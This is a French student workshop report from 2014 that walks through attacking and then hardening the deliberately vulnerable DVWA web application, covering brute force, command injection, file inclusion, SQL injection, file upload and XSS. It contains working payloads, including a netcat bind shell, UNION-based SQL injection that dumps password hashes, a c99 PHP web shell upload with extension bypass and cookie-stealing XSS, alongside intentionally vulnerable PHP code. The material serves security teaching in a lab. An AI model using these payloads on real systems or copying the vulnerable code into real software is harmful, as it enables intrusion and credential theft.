Web App Security - securinets.com · avec Windows sur laquelle on a installé un WampServer pour...

Web App Security

CHEF ATELIER: BEN MARZOUK HAMZA(RT3)

BOUJBEL AMEL(RT4)

KHALIFI MAJDI(ISI)

TOURJMEN HELA(RT3)

ALIBI GHAZI(ISET)

BEL HAJ HASSINE SOUHA(RT3)

TRABELSI OUSSAMA(MPI)

Web App Security | SECURILIGHT 2014

1

Table des matières 1. Présentation de l’atelier ..................................................................................................... 2

2. Présentation des outils utilisés ............................................................................................ 3

a. Wamp ............................................................................................................................... 3

b. DVWA ............................................................................................................................... 3

c. Backtrack ........................................................................................................................... 4

d. Bruter................................................................................................................................ 5

3. Topologie du réseau ......................................................................................................... 6

4. Configuration des outils ..................................................................................................... 7

Cas général : ...................................................................................................................... 7

Brute Force :...................................................................................................................... 9

Command Execution :...................................................................................................... 10

File Inclusion : ................................................................................................................. 10

SQL injection : ................................................................................................................. 10

Command Execution: ...................................................................................................... 10

File Upload : .................................................................................................................... 10

XSS stored : ..................................................................................................................... 10

XSS reflected : ................................................................................................................. 10

5. Un scénario de test ......................................................................................................... 11

Brute force : .................................................................................................................... 11

Command Execution :...................................................................................................... 16

File Inclusion : ................................................................................................................. 21

SQL injection : ................................................................................................................. 28

File Upload : .................................................................................................................... 34

XSS Reflected :................................................................................................................. 44

XSS Stored : ..................................................................................................................... 48

6. Conclusion .................................................................................................................... 52


2

1. Présentation de l’atelier

L’Atelier Web App Security représente l’étude et le test des différentes

vulnérabilités d’une application Web vulnérable (DWVA) distante ou

locale en vue de la sécuriser en suite contre ces failles.


3

2. Présentation des outils utilisés

a. Wamp

WampServer est une plate-forme de développement Web non payante sous Windows pour des applications Web dynamiques à l’aide du serveur Apache2, du langage de scripts PHP et d’une base de données MySQL. Il possède également PHPMyAdmin pour gérer plus facilement vos bases de données. WampServer nous permet d’installer et tester facilement l’application DVWA et de la tester en local. WampServer a comme concurrents EasyPHP et VertrigoServ qui sont aussi non payants

b. DVWA

DVWA est conçu pour les développeurs qui souhaitent apprendre à

protéger leurs applications web. Damn Vulnerable Web App (DVWA) est

une application Web PHP/MySQL, qui est sacrément vulnérable. Son but

est d'aider les professionnels de la sécurité à tester leurs outils dans un

environnement légal, d'aider les développeurs à une meilleure

compréhension du processus de sécurisation des applications web.


4

c. Backtrack

BackTrack est une distribution Linux, basée sur Slackware jusqu'à la version 3 et Ubuntu depuis la version 4, apparue en 2006. Elle est née de la fusion de Whax et Auditor. Son objectif est de fournir une distribution regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un réseau. Depuis 2013, Backtrack est devenu Kali Linux.

BackTrack utilise KDE et GNOME (depuis la version 5 pour ce dernier), supporte plusieurs dispositions de clavier par simple clic (le français s'obtient en sept clics sur le drapeau de la barre KDE), et contient de nombreux outils permettant d'effectuer des tests de sécurité (près de 300). Elle vise à aborder tous les domaines liés aux sécurités modernes. De l'audit réseau à l'analyse et l'identification de vulnérabilité, BackTrack est reconnu par les professionnels de la sécurité informatique comme outil complet.


5

d. Bruter

Bruter est un outil spécifique à l’attaque brute force il sert à forcer l’authentification à travers des connexions parallèles sur la victime en utilisant un dictionnaire de login et mots de pass. C’est un outil gratuit sur Windows. Il existe d’autres solutions similaires comme Cain & Abel.

Interface de Bruter


6

3. Topologie du réseau

Pour cet atelier on a seulement besoin d’une machine fonctionnant

avec Windows sur laquelle on a installé un WampServer pour faire

fonctionner la DWVA ou une machine fonctionnant avec Backtrack vu

que ce dernier intègre les services MySQL et apache


7

4. Configuration des outils Cas général :

1. Installation de WampServer :

Télécharger WampServer : http://www.wampserver.com/

2. Installation de DVWA :

Télécharger DVWA : http://www.dvwa.co.uk/

Déplacer le dossier de l’application dans le répertoire

/wamp/www/

Démarrer l’application à partir du navigateur :

Ouvrir dans le navigateur localhost

Ouvrir l’application DWVA localhost/DWVA

Se logger comme admin avec mot de pass password

http://www.wampserver.com/

http://www.dvwa.co.uk/


8


9

Brute Force : L’outil Bruter nous permet de configurer les différents paramètres de

l’attaque Brute force sur une application web.

Pour cela on doit récupérer ces paramètres grâce à un plugin installé sur

le navigateur web Mozilla « En-têtes HTTP en direct »


10

Après cette configuration on pourra réaliser les attaques brute force et les tests.

Command Execution : Pas de configuration supplémentaire nécessaire

File Inclusion : Pas de configuration supplémentaire nécessaire

SQL injection : Pas de configuration supplémentaire nécessaire

Command Execution: Pas de configuration supplémentaire nécessaire

File Upload : Pas de configuration supplémentaire nécessaire

XSS stored : Pas de configuration supplémentaire nécessaire

XSS reflected : Pas de configuration supplémentaire nécessaire


11

5. Un scénario de test Brute force :

Cette méthode est en général considérée comme la plus simple concevable. Elle permet de

casser tout mot de passe en un temps fini indépendamment de la protection utilisée, mais le

temps augmente avec la longueur du mot de passe. En théorie la complexité d'une attaque

par force brute est une fonction exponentielle de la longueur du mot de passe, la rendant

virtuellement impossible pour des mots de passe de longueur moyenne, mais en pratique

des optimisations heuristiques peuvent donner des résultats dans des délais beaucoup plus

courts. Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc-

en-ciel pour trouver le secret plus rapidement.

Au niveau de l’attaque nous avons déjà présenté la configuration de l’outil avec lequel on va

tester : Bruter. Après avoir préparé la configuration correspondante au niveau de sécurité de

DVWA on lance l’attaque :

Niveau low :

Et finalement on retrouve la combinaison dans 6 secondes

Code du niveau low:


12

<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];

$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p

ass';";

$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '

</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {

// Get users details

$i=0; // Bug fix.

$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful

echo "<p>Welcome to the password protected area " . $user . "

</p>";

echo '<img src="' . $avatar . '" />';

} else {

//Login failed

echo "<pre><br>Username and/or password incorrect.</pre>";

}

mysql_close();

}

?>

On constate bien que ce code ne contient aucun contrôle et aucune sécurisation contre le

bombardement de l’application par brute force.

Niveau medium :

Dans ce niveau on remarque que la sécurisation ajoutée n’a pas changé grande chose, elle a

retardé d’une seconde seulement la récupération de la combinaison.


13

Code du niveau Medium :

<?php

if( isset( $_GET[ 'Login' ] ) ) {

// Sanitise username input

$user = $_GET[ 'username' ];

$user = mysql_real_escape_string( $user );

// Sanitise password input

$pass = $_GET[ 'password' ];

$pass = mysql_real_escape_string( $pass );

$pass = md5( $pass );


ass';";

$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '

</pre>' );

if( $result && mysql_num_rows($result) == 1 ) {


$i=0; // Bug fix.


// Login Successful


</p>";


} else {

//Login failed


}

mysql_close();

}

?>

On constate que ce code contient un traitement sur le username et sur le password , ce

genre de traitement sert principalement à ralentir la requête et ce afin d’augmenter le

temps de recherche du hacker.

Niveau High :

Dans le niveau high on remarque que ça change totalement , l’application devient mieux

protégée grâce à des modifications importantes.

Résultat de l’attaque :


14

On remarque que l’attaque n’a pas abouti à un résultat et s’est bloquée

Code du niveau High :

<?php

if( isset( $_GET[ 'Login' ] ) ) {

// Sanitise username input

$user = $_GET[ 'username' ];

$user = stripslashes( $user );

$user = mysql_real_escape_string( $user );

// Sanitise password input

$pass = $_GET[ 'password' ];

$pass = stripslashes( $pass );

$pass = mysql_real_escape_string( $pass );

$pass = md5( $pass );


ass';";

$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</p

re>' );

if( $result && mysql_num_rows( $result ) == 1 ) {


$i=0; // Bug fix.


// Login Successful


</p>";


} else {

// Login failed

sleep(3);


}

mysql_close();

}

?>

Le code du niveau high contient désormais à part un traitement consistant sur le username

et mot de passe, un temps d’attente après chaque authentification non acceptée, ce temps


15

d’attente ralentit énormément voire même bloque l’application malveillante qui essaie de

forcer l’opération.

On pourra aussi proposer une solution alternative au niveau high en nous servant d’une

table dans laquelle on enregistre les utilisateurs suspects et on les bloque pendant une

durée assez longue (une minute par exemple) .Aussi on ajoute ce qu’on appelle « key

stretching »

“In cryptography, key stretching refers to techniques used to make a possibly weak key,

typically a password or passphrase, more secure against a brute force attack by increasing

the time it takes to test each possible key. Passwords or passphrases created by humans are

often short or predictable enough to allow password cracking. Key stretching makes such

attacks more difficult.” “Wikipedia”.

Solution proposée:


16

Command Execution :

L'une des vulnérabilités les plus critiques qu'un testeur peut rencontrer dans un test de

demande de pénétration sur Internet est de trouver une application qu'il lui permettra

d'exécuter taux de commandes. Le taux du système de cette vulnérabilité est élevé, car il

peut permettre à tout utilisateur non autorisé et malveillants pour exécuter les commandes

systèmes depuis l'application Web et pour récolter grande quantité d'informations ou de

compromettre la machine cible . Nous allons voir comment nous pouvons exploiter cette

vulnérabilité en utilisant l'application web vulnérable DVWA .

LOW LEVEL:

Comme nous pouvons le voir dans le DVWA nous avons un utilitaire de ping libre qui nous

permet de faire un ping sur n’ importe quelle adresse IP.

Afin de se assurer que l'application est vulnérable à commander l'exécution nous pouvons

essayer une simple commande .Dans le champ d'adresse IP, nous tapons 1 | echo

pentestlab .Si pentestlab apparaît sur l'application Web après la soumission de la commande

alors nous avons une exécution de la commande vulnérabilité.


17

Toujours dans les systèmes d'exploitation basés sur Linux, nous voulons afficher le contenu

du fichier / etc / passwd parce que nous pouvons trouver des informations sur les

utilisateurs

.

Nous pouvons également utiliser la commande suivante pour ouvrir un port sur l'hôte

distant et de se reconnecter avec netcat.

1 | netcat -v -e '/ bin / bash' -l -p 31337

Pourquoi l’application est vulnérable?

Nous pouvons répondre à cette question tout en examinant le code source


18

De le code ci-dessus, nous pouvons voir qu'il n'y a pas de contrôle pour la cible variable

$target et elle correspond à une adresse IP ce qui permet à un attaquant d'ajouter

commandes derrière l'adresse IP.

Medium level

À sécurité moyenne, DVWA rend un peu plus difficile par décapage à ces opérateurs

familiers. Cependant, si nous alimentons une adresse IP qui ne répond pas à ICMP, il

provoque ping pour revenir $? ! = 0 moment idéal pour ajouter une double pipe -. '||' – à

l'adresse. En faisant cela, nous pouvons diriger le shell pour exécuter la commande (s) vers la

droite des tuyaux.

Fond rapide - la double barre verticale indique au shell pour exécuter commande2

seulement si les rendements Command1 avec un échec:

command1 || commande2

Voici un exemple concret:

sh-3.2 $ cat non_existent_file || echo "Fichier non trouvé"

cat: non_existent_file: Aucun fichier ou répertoire

Fichier introuvable

Alors que si nous utilisons '&&':

sh-3.2 $ cat non_existent_file && echo "Fichier non trouvé"

cat: non_existent_file: Aucun fichier ou répertoire

Avis, la commande 'echo' ne sera pas exécutée.

Le code de la sécurité medium level est :


19

High level

Dans ce niveau ,On ne peut pas exécuter les commandes linux. par exemple on veut

exécuter la commande 1| cat /etc/ password

La réponse sera :

Donc l’entrée doit ètre une adresse ip dans ce niveau de sécurité


20

La vulnérabilité de command exécution est annulée dans le High level grâce au contrôle sur

la variable $target


21

File Inclusion :

La faille à laquelle on s'intéresse est due à l'absence de contrôle sur le nom d'un fichier ,qui

peut être manipulé par l'utilisateur, qu'on essaye d'inclure dans le code source (en utilisant

la fonction include();)

Dans notre cas le nom du fichier va être récupéré a l'aide de la méthode $_GET[''] ,donc c'est

ce qui apparait dont la barre d'adresse qui va être manipulé.

Scenarios de test:

Les fichiers qu'on va inclure seront de type texte (.txt) puisque notre but est d'exécuter le

code qu'ils contiennent sur le serveur contenant la page vulnérable et non pas le nôtre.

Exécution de commandes sur le serveur:

On peut utiliser la fonction prédéfinie “system();” qui permet d'exécuter des commandes sur

le serveur. Afin de déterminer la commande à exécuter on peut utiliser la méthode $_GET['']

pour passer cette commande comme paramètre à la fonction.

Notre code serait ainsi:

Puis il ne nous reste que d'inclure le fichier contenant ce code et de passer la commande en

paramètre à travers la barre d’adresse, dans cet exemple on va utiliser une commande

simple : la commande «help»

Et le résultat de l'exécution de cette commande serait:


22

Collecte d'informations importantes:

Informations sur la configuration de PHP sur le serveur utilisé:

on peut obtenir ce type d'information en appelant la fonction prédéfinie "phpinfo();".

Ainsi le code serait:

Et le résultat serait l'apparition de plusieurs informations qui peuvent nous aider à avoir une

idée sur d'autres types d'attaques peut-on performer :


23

On peut dans ce cas par exemple obtenir le chemin du fichier php.ini et on peut ainsi utiliser

cette même faille pour le lire ou même le modifier (ce qui dépend des droits donnés aux

utilisateurs par le serveur).

Informations concernant le serveur :

On peut utiliser le code si dessous pour afficher des informations sur le

serveur dans un tableau :


24

Maintenant il ne nous reste que d'inclure le fichier dont on a ecrit ce code :

Le code serait ainsi exécuter par le serveur et on obtient en fin le tableau suivant :

Avoir accès a des fichier critiques:


25

A cause du fichier .htaccess quelques fichiers ou dossiers peuvent ne pas être accessible sauf

si on présente l'identifient et le mot de passe correctes. C’est pour cette raison que

l'utilisation de cette vulnérabilité pour afficher le contenu des fichiers .htaccess et .htpasswd

est considérer comme important et ceci pourrait être réalisé par l'utilisation de la fonction

"show_source();",qui affiche le code source d'une page passée en paramètre.

Le code de notre page serait ainsi:

et on pourrait l'exploiter en insérant à chaque fois le nom ou le chemin vers le fichier qui

nous intéresse.

Appliquons ce teste sur le fichier "include.php":

Utilisons cette même méthode pour des fichiers plus importants comme .htaccess


26

Contourner le problème propose dans le niveau medium:

Dans ce niveau on peut toujours inclure des fichiers locaux comme le .htaccess .htpasswd …

Mais toute apparition de http:// ou https:// va être remplacée par une chaine vide ("") or

comparer deux chaines revient à comparer les codes ascii de leurs caractères donc http:// et

HTTP:// par exemple, sont considérer différents, ce qui représente une solution pour ce cas.

Remarque:

Si le développeur essaye de nous forcer à inclure un fichier d'extension PHP alors qu'on

s'intéresse a inclure des fichiers de type diffèrent on peut ajouter à la fin du nom du fichier

ce qu'on appelle le «null byte» pour ignorer le reste de la chaine et par conséquent

l'extension ajoutée dans le code source de la page .En effet la fonction include va être

traitée par une fonction (entre autres) programmée en C, et en C le «null byte» signifie la fin

de la chaine c'est pour cette raison que la partie qui suit(l'extension .php dans ce cas) va être

ignorée. Solution:

La solution est de contrôler le nom du fichier qui pourrait être donne ou modifier par

l'utilisateur.

On peut donc générer un code qui ne permet l'inclusion qu'aux pages qu'on détermine dans

notre code dans ce cas ça serait la page "include.php" uniquement:


27

Si on essaye d'exploiter la faille:

Désormais notre application n’est plus vulnérable à ce type d’attaque


28

SQL injection :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application

interagissant avec une base de données, en injectant une requête SQL non prévue par le

système et pouvant compromettre sa sécurité.

Dans le cas de notre application on a 3 niveaux de sécurité : LOW LEVEL, MEDIUM LEVEL et

HIGH LEVEL.

LOW et MEDIUM LEVEL:

1-Test de vulnérabilité:

Nous pouvons faire l'attaque à partir du zone de texte ci-dessous:

Nous testons si notre application est vulnérable ou non:

La page Web est censé imprimer ID, Prénom, Nom et à l'écran.

Cette partie du code sera exploité et '$id' sera remplacer par 1.


29

2-Scénario toujours vrai pour afficher tous les utilisateurs:

Maintenant cet partie du code sera exploité et '$id' sera remplacer par %' or '0'='0.

3-Version de la base de données:

%' or 0=0 union select null, version() #

Dans la dernière ligne affichée, 5.5.24 est affichée dans SURNAME c'est la version de

MYSQL database.


30

4-Afficher toutes les tables INFORMATION_SCHEMA:

%' and 1=0 union select null, table_name from information_schema.tables #

Maintenant, nous affichons toutes les tables de la base de données

INFORMATION_SCHEMA.

Le INFORMATION_SCHEMA est la base de données, l'endroit qui stocke des informations sur

toutes les autres bases de données que le serveur MySQL entretient.

5-Afficher toutes les tables utilisateur de

INFORMATION_SCHEMA:

%' and 1=0 union select null, table_name from information_schema.tables where

table_name like 'user%'#

Maintenant, nous affichons toutes les tables qui commencent par le préfixe «user» dans la

base de données INFORMATION_SCHEMA.

6-Afficher tous les champs de colonnes dans la table user de

INFORMATION_SCHEMA:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from

information_schema.columns where table_name = 'users' #


31

Maintenant, nous affichons toutes les colonnes dans la table users.

Il ya les colonnes user_id, first_name, last_name, user et Password

7-Afficher tous les contenus de champs de colonnes dans la

table user de INFORMATION_SCHEMA:

%' and 1=0 union select null,

concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #


32

Maintenant, nous avons réussi à montrer toutes les informations d'authentification

nécessaires dans cette base de données.

8-Créer un hash de fichier:

Nous créerons le fichier contenant les login et les mot de passe hachés séparées par ':'

puis on l'enregistre dans '/pentest/passwords/john' sous le nom 'dvwa_password.txt'.

Nous exécutons en suite les commandes suivantes:

cd /pentest/passwords/john

./john --format=raw-MD5 dvwa_password.txt


33

Enfin, Nous avons réussi à afficher tous les mots de passe et nous pouvons maintenant

connecter avec n'importe quel nom d'utilisateur.

Solution:

Ces attaques peuvent être évitées de plusieurs façons :

Utiliser des procédures stockées, à la place du SQL dynamique. Les données entrées

par l'utilisateur sont alors transmises comme paramètres, qui, s'ils sont

correctement utilisés par la procédure (par exemple injectés dans une requête

paramétrée), évitent l'injection.

Vérifier de manière précise et exhaustive l'ensemble des données venant de

l'utilisateur. On peut, par exemple, utiliser une expression rationnelle afin de valider

qu'une donnée entrée par l'utilisateur est bien de la forme souhaitée, ou profiter de

fonctions de transformation spécifiques au langage.

Dans notre application nous allons appliquer des fonctions prédéfinies pour éviter toute

sorte d'injection:

stripslashes(paramètre);

mysql_real_escape_string(paramètre);

is_numeric(paramètre);

Alors, notre code de l'application devient:

http://fr.wikipedia.org/wiki/Structured_Query_Language


34

File Upload :

De nos jours, de nombreux sites permettent d’envoyer des fichiers sur leurs

serveurs, pour les partager, les montrer a tout le monde. Ces services peuvent être

très dangereux si ils ne sont pas bien protégés, car on propose à l’utilisateur

d’envoyer des donnés sur le serveur. Et ils pourraient bien envoyer par exemple du

code PHP contenant une Backdoor.


35

Exemple d’exploit de la faille File Upload

Dans ce cas de figure on va utiliser la sécurité basse de DVWA et on va uploader dans

l’application un fichier malveillant, il s’agit d’un shell php « c99 ».

Avec la sécurité basse DWVA accepte tout type de fichier, on va voir après comment

corriger cette faille.

DVWA a bel et bien accepté notre fichier, maintenant passons aux choses

intéressantes. On va maintenant utiliser notre fichier c99.php


36

Et hop :

A travers ce Shell, on peut tout faire pour un serveur Unix. En d’autres termes il nous

permet de prendre le contrôle d’un serveur.


37

Etude de la faille

Maintenant venons au code de la faille :

Commençons par le niveau low

<?php

if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";

$target_path = $target_path . basename( $_FILES['uploaded

']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $

target_path)) {

echo '<pre>';

echo 'Your image was not uploaded.';

echo '</pre>';

} else {

echo '<pre>';

echo $target_path . ' succesfully uploaded!';

echo '</pre>';

}

}

?>

On remarque bien que ce code ne contient aucun contrôle sur le fichier à uploader

d’où on peut uploader n’importe quel fichier.


38

On passe maintenant au niveau medium

<?php



$target_path = $target_path . basename($_FILES['uploaded'

]['name']);

$uploaded_name = $_FILES['uploaded']['name'];

$uploaded_type = $_FILES['uploaded']['type'];

$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size <

100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'

], $target_path)) {

echo '<pre>';


echo '</pre>';

} else {

echo '<pre>';


echo '</pre>';

}

}

else{

echo '<pre>Your image was not uploaded.</pre>';

}

}

?>

À ce niveau, on remarque le code contient désormais deux contrôles sur le fichier ;

un contrôle sur le type et un second sur la taille.

Mais cela reste insuffisant car on peut renommer le fichier et ajouter une extension

image


39

On voit bien que l’application n’accepte pas le fichier

Mais si on renomme le fichier comme suit shell.php.jpeg


40

Sachant que l’extension n’a pas d’importance dans un système Unix, cette faille reste

dangereuse d’où il faut ajouter d’autres contrôles.


41

Au niveau high :

<?php




]['name']);


$uploaded_ext = substr($uploaded_name, strrpos($uploaded_

name, '.') + 1);


if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||

$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz

e < 100000)){


], $target_path)) {

echo '<pre>';


echo '</pre>';

} else {

echo '<pre>';


echo '</pre>';

}

}

else{

echo '<pre>';


echo '</pre>';

}

}

?>

On remarque ici l’utilisation d’un contrôle sur l’extension mais ceci reste toujours

vulnérable à l’ajout d’une extension que l’application accepte

Par exemple shell2.php.jpeg


42

Pour remédier à cette faille on doit tester sur des paramètres spécifiques au type

image comme hauteur et largeur

Pour cela on utilise la fonction php getimagesize()

Alors le code devient :

<?php




]['name']);


$uploaded_ext = substr($uploaded_name, strrpos($uploaded_

name, '.') + 1);


list($width, $height, $type, $attr) = @getimagesize($_FIL

ES['uploaded']['tmp_name']);

if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||

$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz

e < 100000) && ($width > 1) &&($height > 1)) {


43


], $target_path)) {

echo '<pre>';


echo '</pre>';

} else {

echo '<pre>';


echo '</pre>';

}

}

else{

echo '<pre>';


echo '</pre>';

}

}

?>

Et voilà le test :

Et finalement:

Notre application est maintenant plus résistante à ce type d’attaque

Conclusion


44

Grace à cette étude, on a pu voir comment exploiter la faille de notre application et

la protéger contre cette attaque très souvent utilisée par les hackers car elle permet

de prendre totalement le contrôle de la cible.

XSS Reflected :

Introduction : Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web

permettant d'injecter du contenu dans une page, permettant ainsi de provoquer des actions

sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque

l'attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java,

Flash...) et de nouvelles possibilités sont régulièrement découvertes notamment avec

l'arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger

vers un autre site pour du hameçonnage ou encore de voler la session en récupérant les

cookies.


45

Ce type de faille de sécurité apparait lorsque des données fournies par un client web sont utilisées telles quelles par les scripts du serveur pour produire une page de résultats. Si les données non vérifiées sont incluses dans la page de résultat sans encodage des entités HTML, elles pourront être utilisées pour injecter du code dans la page dynamique reçue par le navigateur client.

1. Low level : Comme nous pouvons le voir dans le DVWA, il y a une zone de texte qui a comme paramètre

d’entée une chaine de caractère, elle retourne un message « hello nom_saisie ».

Afin de tester que l’application est vulnérable, on va injecter un simple code HTML dans

cette zone de texte.

Après exécution, le mot ghazi sera en gras et en italique. Ceci

Ceci est un simple exemple, mais avec des codes plus complexe et dangereux, l'attaquant peut : - voler des informations d'identification dans les cookies non-HttpOnly. - envoyer des requêtes à un serveur avec les informations d'identification de l'utilisateur. - voler des secrets qui sont stockés dans les variables JavaScript. - -inviter l'utilisateur à télécharger du contenu en soumettant un formulaire. - rediriger vers un autre site. - obtenir des données GPS / appareil photo si l'utilisateur a accordé que l'accès du site à l'appareil. Exemple du code qui permet de changer les liens dans les balises <a></a> avec un lien malveillant.


46

Exemple du code qui permet de d’intercepter les cookies d’un utilisateur et les envoie à son serveur.

Ce problème existe puisque il n’a pas de contrôle sur le champ de saisie.

2. medium level : Dans ce niveau, on ajoute une fonction dans le langage PHP : le « str_remplace ». Elle permet de faire un filtre dans la saisie. Tout balise commencent par « <script> » sera remplacer par une chaine vide.

Il existe plusieurs mécanismes disponibles pour les développeurs pour dépasser ce filtre, tels que de renvoyer une erreur, en supprimant, encodage, ou de remplacer une entrée invalide. Le moyen par lequel l'application détecte et corrige les entrées invalides est une autre faiblesse dans la prévention primaire XSS. Dans certains cas, il est possible que les filtres basés sur les signatures puissent être simplement défaits par obscurcir l'attaque. Typiquement, vous pouvez le faire grâce à l'insertion de variations inattendues dans la syntaxe. Ces variations sont tolérées par les navigateurs HTML valide que lorsque le code est retourné, et pourtant, ils pourraient également être acceptées par le filtre.


47

Pour sécuriser l’application, plusieurs techniques permettent d'éviter le XSS: - utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ;

- utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou JavaScript.

- utiliser strip_tags() qui supprime les balises.

3. High level : Apres la modification du code, on a ajouté htmlspecialchars()qui filtre les caractères spécial. C’est la mode la plus sécurisé.


48

XSS Stored :

Le cross-site scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de

style)1, X se lisant « cross » (croix) en anglais.

Les failles XSS sont très répandues sur Internet, et utilisées dans de nombreuses attaques

aujourd’hui.

Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant

un message dans un forum, ou par des paramètres d'URL. Si ces données arrivent telles

quelles dans la page web transmise au navigateur (par les paramètres d'URL, un message

posté…) sans avoir été vérifiées, alors il existe une faille : on peut s'en servir pour faire

exécuter du code malveillant en langage de script (du JavaScript le plus souvent) par le

navigateur web qui consulte cette page.

XSS Stored

Ce type de vulnérabilité, aussi appelé faille permanente ou du second ordre permet des

attaques puissantes. Elle se produit quand les données fournies par un utilisateur sont

stockées sur un serveur (dans une base de données, des fichiers, ou autre), et

ensuite réaffichées sans que les caractères spéciaux HTML aient été encodés.

Low Level :

Ici nous avons 2 champs qui permettent de laisser des messages et d’indiquer son nom

d’utilisateur.

On va tenter une XSS simple pour commencer (insérer du code Javascript qui sera

interprété par le navigateur afin d’afficher une boite de dialogue Javascript)

On tape dans la case :

« Name » : n’importe quel nom

http://fr.wikipedia.org/wiki/Cross-site_scripting#cite_note-1


49

« Message » : la ligne suivante :

<script>alert("Ceci affiche une alerte javascript dans la page");</script>

A chaque fois qu’on ira sur cette page, on verra apparaitre cette boite de

dialogue !

On va essayer cette fois d’insérer une page web dans la page du livre d'or. Pour

cela on écrit dans la case « Message » : <iframe src="http://www.Google.com"></iframe>

On remarque que le site www.Google.com apparait à l'endroit où aurait du être placé notre message !

On va tenter Maintenant une attaque de niveau plus important : Les cookies

On tape dans le champ « Message » :

<script>alert(document.cookie);</script>

Les cookies doivent s'afficher dans une alerte javascript comme suit :

http://www.google.com/


50

Middle Level :

Si on retape le même code avec un niveau de sécurité moyen, on remarque que le code

n’est pas exécuté (aucune fenêtre n’apparait) et que les balises script sont supprimées.

Il va donc falloir injecter du code ne contenant pas ce type de balises

On tape dans la case « Name » :

<a href=test.html onClick=alert(document.cookie)>Click me !</a>

En cliquant sur « Click Me ! » la fenêtre suivante apparait :


51

Les codes Source :

Low Level :

Middle Level :


52

High Level (Solution):

En modifiant le code source de la sorte notre application n’est plus vulnérable.

La fonction htmlspecialchars() appliquée aux champs « Name » et « Message »

permet de filtrer les caractères spéciaux et donc les balises ce qui permet de

protéger notre application

6. Conclusion Nous espérons à travers ces présentations avoir réussi à vous expliquer

le principe des différentes failles pouvant exister dans une application

Web et plus important que ça comment exploiter et sécuriser ces failles

qui peuvent être dévastatrices pour le serveur hébergeant l’application

s’il n’est pas bien protégé.

A travers cet atelier on a pu améliorer nos compétences de travail en

groupe et de partage de connaissances mais aussi l’utilisation d’outils

spécialisés comme Backtrack qui est très puissant comme outil d’étude

et de test

Web App Security - securinets.com · avec Windows sur laquelle on a installé un WampServer pour...

Documents

Transcript of Web App Security - securinets.com · avec Windows sur laquelle on a installé un WampServer pour...